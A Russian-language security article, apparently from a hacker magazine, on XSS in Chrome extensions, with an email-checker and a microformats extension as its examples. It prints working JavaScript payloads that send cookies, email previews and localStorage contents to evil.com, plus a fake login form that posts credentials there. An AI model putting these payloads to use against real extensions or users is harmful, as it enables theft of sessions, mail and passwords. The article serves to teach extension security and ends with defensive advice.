С каждым днем Google Chrome становится все более и более популярен. Его создатели проделали большую работу, разработав платформу для создания расширений для браузера. Они несут в себе дополнительный функционал, но и новую опасность.

В рамках этого материала я не буду детально описывать, что представляет собой архитектура расширений в Chrome. Об этом можно узнать подробнее из хорошей статьи Ларри Селцера «Google’s Chrome Extensions Show Security Focus» (bit.ly/hvYkqO). А для понимания всего того, о чем пойдет речь ниже, тебе нужно осознать всего несколько моментов. Первое — браузер Chrome, как и тот же самый Firefox, поддерживает расширения. По сути, это небольшие программные модули, с помощью которых можно изменять и улучшать базовую функциональность. Второе — плагины разрабатываются с помощью привычных нам веб-технологий: HTML и JavaScript, включая вкусности HTML5 и CSS. Использование этих технологий на порядок упрощает процесс разработки, особенно в сравнении с написанием расширения для Огнелиса (хотя и там в основном используется тот же JavaScript). И третье — все плагины строятся по одной и той же структуре. Обычно расширение для Хрома включает в себя следующие составляющие:

  • файл манифеста manifest.json — в нeм содержится информация о расширении: например его название и описание, версия, используемые файлы, привилегии и другое;
  • одна и более HTML-страниц, включая фоновую страницу background.html, выступающую в роли движка расширения;
  • опционально: один и более JS-скриптов, включая внедряемые скрипты (это аналог UserJS в Опере и Greasemonkey в Мозилле);
  • опционально: всe остальное, что может понадобиться — например, файлы-изображения.

Всe это хозяйство упаковывается в zip-архив с расширением crx. Для коммуникаций между страницами аддона предусмотрена возможность вызывать из одной страницы функции другой и даже изменять DOM-модель. Однако это не относится к внедряемым скриптам, для связи с которыми используется механизм сообще ний. Для страниц расширения доступны специальные API-интерфейсы браузера для работы с закладками, историей посещений, куками, окнами, вкладками, событиями и так далее.

Теперь, имея общее представление о структуре расширений, предлагаю разобраться, какие риски могут нести эти технологии и что стоит учитывать разработчикам аддонов под Хром.

 

XSS

Рассмотрим популярное (около 18 368 установок в неделю) расширение для проверки Gmail’а — Google Mail Checker Plus (bit.ly/g5L6DT). Этот полезный аддон делает только одно — показывает количество непрочитанных писем в твоeм инбоксе, а по клику на кнопке открывает окно предпросмотра. Помимо этого в нем реализованы оповещения на рабочем столе.

В области предпросмотра мы можем увидеть как минимум тему письма, отправителя и немного непосредственно текста сообщения. Попробуем с этим поиграться. Скажем, что будет, если послать письмо со следующей темой:

2"'><script src="http://evil.com/own.js"></script>

Тут own.js — это простая JavaScript-нагрузка для демонстрации уязвимости:

document.body.innerHTML = "";
img = new Image();
img.src = "http://evil.com/stallowned.jpg";
document.body.appendChild(img);

После того как пришло письмо, нам отобразится сначала уведомление на рабочем столе: И затем по клику на кнопке расширения мы увидим уже нашу XSS во всплывающем окне расширения:

Бинго! Кстати говоря, эта уязвимость была обнаружена человеком под ником Lostmon ещe в июне 2010 года, но я подковырял еe, и автору расширения пришлось вносить исправления повторно :). Этот же человек, рапортуя о баге, писал:

«All extensions runs over his origin and no have
way to altered data from extension or get sensitive
data like, email account or password etc..»

Рассказывая о невозможности добраться до конфиденциальных данных через подобные уязвимости, он не совсем прав :). Покопаем, что же можно сделать с помощью банальной XSS в случае с расширением к браузеру.

 

Куки

Сессионные данные — популярная цель для XSS-атаки. Но расширение работает в своего рода песочнице и напрямую доступ к кукам через объект document.cookie получить уже не получится — нам надо использовать API. Для работы с куками расширению (и нам тоже) необходимы специальные привилегии и явным образом прописанные в манифесте домены, например вот так:

{
"name": "My extension",
...
"permissions": [
"cookies",
"://.google.com"
],
...
}

Очевидно, что риск увеличивается, когда у расширения слишком много прав, то есть как минимум права на работу с куками и большое количество прописанных доменов в соответствующей секции манифеста. В таком случае XSS становится гораздо более опасной штукой, поскольку злоумышленник сможет получить доступ к кукам сразу всех разрешeнных доменов. Следующий код демонстрирует, как можно собрать все доступные куки и отправить их на снифер:

chrome.cookies.getAll({}, function(cookies)
{
var dump = "COOKIES: ";
for (var i in cookies) {
dump += cookies[i].domain + ":"
+ cookies[i].name + ":"
+ cookies[i].value + " | ";
}
img = new Image();
img.src = "http://evil.com/stallowned.jpg?"
+ dump;
document.body.appendChild(img);
});

Все данные отобразятся в логах запросов нашего вебсервера.

 

Данные веб-браузера как цель для атаки

В предыдущей части мы рассмотрели, какой риск может нести в себе уязвимость в расширении, приводящая к XSS. При определeнных условиях (наличии большого количества привилегий и доменов в файле манифеста) злоумышленник может получить куки с разных сайтов, и это сильное преимущество перед XSS в обычном веб-приложении. Также он сможет заполучить такие интересные данные как история твоей работы с веб-браузером, закладки и другая информация, доступная через API при соответствующем разрешении. Таким образом, в зависимости от типа расширения и его привилегий XSS может привести к компрометации данных пользователя на его компе, а не просто краже куков.

 

Угон почтовой переписки

С помощью XSS легко можно обойти настройки Gmail по показу внешнего содержимого. Пускай, это не так критично. Но если злоумышленник может внедрить произвольный HTML/JavaScript в конкретное письмо, он может и добавить тег <IMG>, а по факту запроса картинки с сервера определить факт прочтения письма. Это всe возможно вне зависимости от настроек показа внешнего содержимого в Гмейле! Но это ерунда, а вот что по-настоящему серьезно, так это угон переписки. Представь на секунду, что ты получаешь вот такую JavaScript-нагрузку:

var dump = '';
var e = document.getElementsByTagName('a');
i=0;
while(i < e.length) {
if (e[i].className == 'openLink') {
dump += e[i].innerText + ' | ';
}
i++;
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);

Это не что иное, как дампилка писем в рамках всплывающего окна расширения. Тут всe просто — мы перебираем все элементы из списка писем, в которых отображается информация о сообщении (отправитель, дата, тема и кусок мессаджа), и отправляем еe на сервер злоумышленника.

 

Настройки расширения — там тоже могут быть интересные данные!

Расширения вполне могут сохранять критичную информацию в своих настройках, доступ к которым осуществляется с помощью механизма веб-хранилищ HTML5. Конечно, такие аддоны надо поискать, но они существуют, это 100%. Например, в настройках такого «плохого» плагина может быть сохранена аутентификационная информация, и мы достанем еe оттуда с помощью следующего скрипта:

var dump = ' LOCALSTORAGE: ';
for (i = 0; i < localStorage.length; i++ ) {
dump += "KEY: " + localStorage.key(i);
dump += " VALUE: " + localStorage.getItem(
localStorage.key(i)) + " | ";
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);

 

Фишинг

Как уже было сказано выше, расширение не может напрямую обращаться к кукам, поэтому разработчикам плагинов необходимо использовать соответствующий API. Таким образом, заполучение куков в рамках XSS-атаки становится нетривиальным решением.

Но с другой стороны — обычный фишинг-то никто не отменял!

Злоумышленник может сделать простую псевдоформу логина и показать еe жертве через простую нагрузку:

var msg = 'Please, enter account information.';
msg += '<form action="http://evil.com/login">Username:
<input type=text name=user>';
msg += ' <br>Password: <input type=password
name=pass><br><input type=submit></form>';
document.body.innerHTML = msg;

Скриншот выглядит не слишком красиво, но это всего лишь концепт.

 

Риски, связанные с использованием JSON

JSON — это легковесный текстовый формат, который широко используется в веб-приложениях web 2.0 для обмена данными между клиентской и серверной частями. Он же применяется и в плагинах Chrome для описания файла манифеста:

"name": "Extension",
"version": "1.0",
"description": "Some extension",
"icons": { "128": "icon.png" },
"permissions": ["http://example.com/"],
"browser_action": {
"default_title": "",
"default_icon": "pic.png",

"default_popup": "view.html"
}
}

Существует как минимум два больших риска, связанных с небезопасным применением JSON:

  1. Использование функции JavaScript eval() для разбора недоверенных данных (например, пользовательских). Разработчики Google специально выделили данный риск и написали рекомендации по безопасному разбору JSON с помощью встроенного метода JSON.parse.
  2. Менее очевидный, но не менее опасный риск похищения JSON-данных JavaScript hijacking (bit.ly/eQDXrv) Не стоит забывать и про JSON(P), который используется для обмена данными между доменами. В контексте расширений Хрома эта потенциальная уязвимость мало чем отличается от такой же для обычного веб-приложения. Также с помощью любого промежуточного прокси можно посмотреть, каким образом идeт обмен данными между расширением и серверной частью веб-сервиса. А там вполне могут быть проблемы с безопасностью.
 

Внедряемые скрипты

Мы не единожды рассказывали про внедряемые скрипты (в одном из номеров ][ даже был подробный материал про Greasmonkey и его возможности). Хороший пример их использования — автоматическое обрамление всех URL-адресов на странице в html-тег <A>, тем самым делая их ссылками, даже если автор страницы об этом не позаботился. Внедряемый скрипт (content script) — это, по сути, специальный кусок JavaScript, который внедряется в необходимые страницы и, что важно, выполняется в их контексте, а не в контексте расширения.

Таким образом эти сценарии могут свободно читать и изменять содержимое текущей страницы, но при этом они сильно ограничены в использовании API-расширений. Если быть точным, то они не могут делать следующее:

  • использовать chrome.* APIs (кроме частей chrome.extension);
  • использовать переменные и функции, заданные в родительском расширении;
  • использовать переменные и функции, заданные непосредственно в коде страницы либо в других внедряемых скриптах;
  • делать кроссдоменные запросы XMLHttpRequests.

С другой стороны, внедряемые скрипты могут общаться с родительским расширением с помощью специальной технологии сообщений. В общем виде мы имеем два риска, связанных с внедряемыми скриптами:

  1. В силу возможности изменять содержимое посещаемой страницы, плохо написанные скрипты могут добавить уязвимость на страницу, где изначально этой уязвимости не было!
  2. Зловредная страница сама может атаковать расширение веббраузера через внедряемые скрипты.

Давай разберeм пример второго случая и рассмотрим подробнее расширение для работы с микроформатами. Ниже представлен фрагмент HTML-кода с популярным микроформатом hCard. В поле URL мы запихали то, что, скорее всего, расширение не планирует там увидеть:

<div class="vcard">
<div class="fn">James Bond</div>
<div class="org">MI-6</div>
<div class="tel">604-555-1234</div>
<a class="url" href="123:<script>d = document.
createElement('div');d.innerHTML='<h1>XSS</h1>';
document.body.appendChild(d);</script>233">
http://example.com/</a>
</div>

Если у нас установлен этот аддон, и мы посетим страницу с таким кодом, то расширение попробует его оттуда выдернуть, распарсить и показать нам эти данные о человеке.

Наша нагрузка отработала, и видно результат? Но какие риски это несeт? А вот какие. Рассматриваемое расширение умеет связываться с твоим гугловским аккаунтом с помощью протокола OAuth и API-сервиса адресной книги Гугла. С твоего разрешения оно имеет доступ к адресной книге и может добавлять туда записи по клику на соответствующей кнопке во всплывающем окне. Вот такой простой код, использующий фишки JQuery, добавит произвольный контакт в твою адресную книгу на Гмейле!

$(".submithcard").click()

Таким образом нам удалось обойти серьезные ограничения на использование API внедряемыми скриптами, и нагрузка пробросилась в основное окно расширения, в котором у нас уже больше возможностей.

 

Заключение

Что хочется сказать в итоге? Разработчики Google Chrome сделали действительно хорошую архитектуру расширений и предоставили достаточно возможностей для написания качественных и безопасных расширений. Но одновременно с этим мы видим, как выбранные для разработки технологии (HTML, CSS и JavaScript) при активном участии горе-разработчиков способствуют подверженности аддонов таким атакам как, скажем, XSS, к которым мы привыкли в контексте веб-приложений.
При этом риски от такой XSS могут быть похлеще, чем от XSS в обычном веб-приложении. Создателям расширений непременно нужно особенно внимательно читать раздел «Security considerations» в руководстве разработчика, а пользователям — следить за обновлениями расширений и вовремя их устанавливать!

 

Links

Оставить мнение

Check Also

Android: безопасность умных гаджетов, история создания Magisk и впечатляющие трюки в Kotlin

Сегодня в выпуске: безопасность домашних голосовых ассистентов и других умных гаджетов, бе…